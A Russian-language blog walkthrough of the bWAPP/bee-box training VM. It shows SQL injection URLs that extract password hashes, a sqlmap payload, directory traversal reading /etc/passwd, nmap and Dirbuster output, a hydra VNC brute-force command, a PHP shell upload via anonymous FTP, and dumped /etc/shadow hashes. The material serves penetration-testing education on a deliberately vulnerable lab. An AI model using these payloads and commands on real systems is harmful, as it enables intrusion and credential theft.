Обзор площадки для тестирования веб-уязвимостей OWASP Top-10 на примере bWAPP
Привет, Хабр! В этой статье предлагаю читателю ознакомится с уязвимостями веб-приложений (и не только), по классификации OWASP Top-10, и их эксплуатацией на примере bWAPP.
Краткий ликбез:
Open Web Application Security Project (OWASP) — это открытый проект обеспечения безопасности веб-приложений. Сообщество OWASP включает в себя корпорации, образовательные организации и частных лиц со всего мира. Сообщество работает над созданием статей, учебных пособий, документации, инструментов и технологий, находящихся в свободном доступе. Участники проекта уже десять лет составляют список Топ-10 самых опасных уязвимостей в веб-приложениях, стараясь привлечь внимание всех веб-разработчиков.
Сам топ-10 выглядит следющим образом:
A1 Внедрение кодаA2 Некорректная аутентификация и управление сессиейA3 Межсайтовый скриптинг (XSS)A4 Небезопасные прямые ссылки на объектыA5 Небезопасная конфигурацияA6 Утечка чувствительных данныхA7 Отсутствие контроля доступа к функциональному уровнюA8 Подделка межсайтовых запросов (CSRF)A9 Использование компонентов с известными уязвимостямиA10 Невалидированные редиректы
Рейтинг отражает не только распространенность, но и опасность угрозы.
buggy web application (bWAPP) — это опенсорс веб-приложение, свободное для скачиваний. Отличает себя от других тем, что содержит около 100 уязвимостей, классифицированных по топ-10 от OWASP. Предназначается для поиска и эксплуатации уязвимостей в веб-приложениях и не только.Автор bWAPP — Malik Mesellem (его блог)
Это PHP приложение, использующее MYSQL. Можно развернуть на винде/линуксе, на WAMP и XAMPP. Имеется также полностью готовая к употреблению виртуальная машина bee-box, которая и будет использована в статье.
Список уязвимостей, что вы встретите в bWAPP: SQL, HTML, iFrame, SSI, OS Command, XML, XPath, LDAP and SMTP injections Blind SQL and Blind OS Command injection Bash Shellshock (CGI) and Heartbleed vulnerability (OpenSSL) Cross-Site Scripting (XSS) and Cross-Site Tracing (XST) Cross-Site Request Forgery (CSRF) AJAX and Web Services vulnerabilities (JSON/XML/SOAP/WSDL) Malicious, unrestricted file uploads and backdoor files Authentication, authorization and session management issues Arbitrary file access and directory traversals Local and remote file inclusions (LFI/RFI) Configuration issues: Man-in-the-Middle, cross-domain policy files, information disclosures,… HTTP parameter pollution and HTTP response splitting Denial-of-Service (DoS) attacks: Slow HTTP and XML Entity Expansion Insecure distcc, FTP, NTP, Samba, SNMP, VNC, WebDAV configurations HTML5 ClickJacking, Cross-Origin Resource Sharing (CORS) and web storage issues Unvalidated redirects and forwards, and cookie poisoning Cookie poisoning and insecure cryptographic storage Server Side Request Forgery (SSRF) XML External Entity attacks (XXE) Что вас ждет в статье:
Освещение нескольких уязвимостей — поиск, эксплуатация, использование пентест программ. Прохождение bwapp несколькими способами, не используя веб. На кого расчитанна статья:
На людей увлеченных информационной безопасностью, веб-разработчиков (я надеюсь:)), всех, кому интересна тема информационной безопасности, и чья работа так или иначе связана с веб-технологиями. Требования:
Жажда знаний Машина, на которой вы развернете bWAPP. Опционально — опыт использование пентест тулз, обзор и использование которых широко освещены на Хабре. Цель статьи:
Показать отличную площадку для тестирования своих навыков пентеста и/или разработки. Кратко ввести в курс дел безопасности веб-приложений. Ну и само соревнование никто не отменял :) WARNING! Чего не будет в статье:1. Освещение ошибок конфигурации чего-либо — нет объяснений природы бага.2. Обзора программ, которые помогают при пентесте.Рассматриваемые уязвимости выбраны специально под легкость объяснения/занимаемое место в статье.Ссылки на вспомогательные статьи/софт/етс приведены в конце статьи.
SQL-injection Выбираем SQL Injection (GET/Search)Открывается страница, где нам предлагают выбрать фильм. Что ж, попытаем счастье — введем Hulk.
Подставляем кавычку, получаем ошибку:
http://192.168.1.18/bWAPP/sqli_1.php? title=hulk&action=search Воспользуемся техникой order by и подберем количество столбцов: http://192.168.1.18/bWAPP/sqli_1.php? title=hulk%27%20order%20by%2010%20--%20&action=search Оно равно 7: http://192.168.1.18/bWAPP/sqli_1.php? title=hulk%27%20order%20by%207%20--%20&action=search Дальше используем union: http://192.168.1.18/bWAPP/sqli_1.php? title=hulk%27%20union%20select%201,2,3,4,5,6,7%20from%20users%20--%20&action=search Получаем номера столбцов: Получаем имя БД, юзера, хеш пароля:
http://192.168.1.18/bWAPP/sqli_1.php? title=hulk%27%20union%20select%201, database%28%29, user%28%29,4, password,6,7%20from%20users%20--%20&action=search SQL Injection (POST/Search)
Открываем /bWAPP/sqli_6.php, вводим Hulk', баг есть, но адресная строка нам не помогает? Поможет Burpsuite и Sqlmap: В burpsuite открываем наш запрос
Ошибка есть, теперь удаляем кавычку, сохраняем поле «Request» в .txt файл.Открываем sqlmap и выполняем команду:
sqlmap -r sql.txt Проверить sqlmap можно, например, подставив то, что программа нам предлагает, типа такого:
Type: error-based Title: MySQL >= 5.0 AND error-based — WHERE or HAVING clause Payload: title=hulk%' AND (SELECT 2135 FROM (SELECT COUNT (*), CONCAT (0×7178766a71,(SELECT (CASE WHEN (2135=2135) THEN 1 ELSE 0 END)),0×7162767071, FLOOR (RAND (0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND '%'='&action=search Просто подставим payload в адресную строку: http://192.168.1.18/bWAPP/sqli_1.php? title=hulk%' AND (SELECT 2135 FROM (SELECT COUNT (*), CONCAT (0×7178766a71,(SELECT (CASE WHEN (2135=2135) THEN 1 ELSE 0 END)),0×7162767071, FLOOR (RAND (0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND '%'='&action=search тем самым получим токен, что означает, что задача выполнена:
Или вас интересуют XSS? Их здесь полно и на любой вкус.Выбираем XSS — Reflected (GET)
Подставляем
Просто почитать чужие файлы? Откроем Directory Traversal — Files
http://192.168.1.18/bWAPP/directory_traversal_1.php? page=message.txt Попробуем подставить /etc/passwd:
Откроем Directory Traversal — Directories
http://192.168.1.18/bWAPP/directory_traversal_2.php? directory=documents Прочитаем листинг /etc/:
Тестирование «черным ящиком» Как любитель boot2root образов для пентеста (собственно так я и вышел на bWAPP) хотел бы вам показать тестирование без веба, с моими небольшими пояснениями.Просканируем цель nmap’ом:
Nmap scan report for bee-box (192.168.1.18) Host is up (0.0050s latency). Not shown: 983 closed ports PORT STATE SERVICE 21/tcp open ftp 22/tcp open ssh 25/tcp open smtp 80/tcp open http 139/tcp open netbios-ssn 443/tcp open https 445/tcp open microsoft-ds 512/tcp open exec 513/tcp open login 514/tcp open shell 666/tcp open doom 3306/tcp open mysql 5901/tcp open vnc-1 6001/tcp open X11:1 8080/tcp open http-proxy 8443/tcp open https-alt 9080/tcp open glrpc Здесь не будет результатов сканера Nikto (Рекомендую выполнить скан самостоятельно), из-за рамок статьи, я ограничусь разбором FTP и VNC сервисов.
FTP Воспользуемся Dirbuster: Dir found: /phpmyadmin/ — 200 Dir found: /evil/ — 200 Dir found: /webdav/ — 200 File found: /webdav/Iron_Man.pdf — 200 File found: /webdav/Terminator_Salvation.pdf — 200 File found: /webdav/The_Amazing_Spider-Man.pdf — 200 File found: /webdav/The_Cabin_in_the_Woods.pdf — 200 File found: /webdav/The_Dark_Knight_Rises.pdf — 200 File found: /webdav/The_Incredible_Hulk.pdf — 200 File found: /webdav/bWAPP_intro.pdf — 200 Тем временем
nmap --script=ftp* сообщает, что: PORT STATE SERVICE VERSION 21/tcp open ftp ProFTPD 1.3.1 | ftp-anon: Anonymous FTP login allowed (FTP code 230) | -rw-rw-r-- 1 root www-data 543803 Nov 2 22:52 Iron_Man.pdf | -rw-rw-r-- 1 root www-data 462949 Nov 2 22:52 Terminator_Salvation.pdf | -rw-rw-r-- 1 root www-data 544600 Nov 2 22:52 The_Amazing_Spider-Man.pdf | -rw-rw-r-- 1 root www-data 526187 Nov 2 22:52 The_Cabin_in_the_Woods.pdf | -rw-rw-r-- 1 root www-data 756522 Nov 2 22:52 The_Dark_Knight_Rises.pdf | -rw-rw-r-- 1 root www-data 618117 Nov 2 22:52 The_Incredible_Hulk.pdf |_-rw-rw-r-- 1 root www-data 5010042 Nov 2 22:52 bWAPP_intro.pdf Анализируя эти 2 результата, мы понимаем, что ftp папка (она же /webdav/) доступна через http.Значит будем заливать php шелл.
Анонимный доступ, аплоад, ftp через http, чего еще пожелать? :)
Наш шелл.
VNC Пробуем подключится по 192.168.1.18:5901
Хорошо, воспользуемся hydra:
hydra -P /wordlist/pass.txt -s 5901 192.168.1.18 vnc
Коннектимся… тадам! Неожиданно, но это права root’а.Раз root, тогда смотрим /etc/shadow
root:$1$6.aigTP1$FC1TuoITEYSQwRV0hi6gj/:15792:0:99999:7::: bee:$1$tJB0ndAJ$0d42BkRQ7vebj/bE5RdQH1:15792:0:99999:7::: neo:$1$fSorv0ad$56lfF9qd8o4caaSB6dVqi/:15897:0:99999:7::: alice:$1$yRUOVrYB$9f4TMaym/xOSeGbmsgFGI/:15897:0:99999:7::: thor:$1$Iy6Mvuaz$FzcNXTQ668kDD5LY.ObdL/:15897:0:99999:7::: wolverine:$1$PUGlrXi8$oXOwDBaAzxtgXh10Xkw9i/:15897:0:99999:7::: johnny:$1$uqzKnduQ$MPxhWXcf2FFQarhO95d5y/:15897:0:99999:7::: selene:$1$BHZLob3h$mru35IhZzRdnfTHOADrkJ0:15897:0:99999:7::: Воспользуемся hashcat’ом для подбора паролей:
Вот такой улов.
Заключение Bee-box немного выходит за рамки обычного write-up’а по boot2root образам. В нем каждый сможет отыскать что-то, что давно хотел попробовать/выучить/узнать.Статья получилась сумбурной, но на мой взгляд, свою задачу я выполнил, ведь цель была познакомить читателя с площадкой для тестирования: Захотели узнать, к примеру, что такое Heartbleed? Легко! Запускаете его в виртуалке в 2 клика мыши. Ознакомиться/вспомнить какой-то инструмент или технологию, быстро проверив на практике, я считаю, отличный вариант. Здесь вполне можно прокачать навыки пентеста, веб-технологий, применений специфичного софта. Список литературы Автор bWAPP — Malik Mesellem (его блог)Сам Топ-10 OWASPОтличная подборка тематических статей от BeLoveВторая подборка описание пентест утилит, также от BeLoveТворение g0tmi1k — сайт, на котором собраны boot2root образыСсылка на виртуальную машину, в архиве 5 гб
Спасибо за внимание. Отвечу на любые вопросы.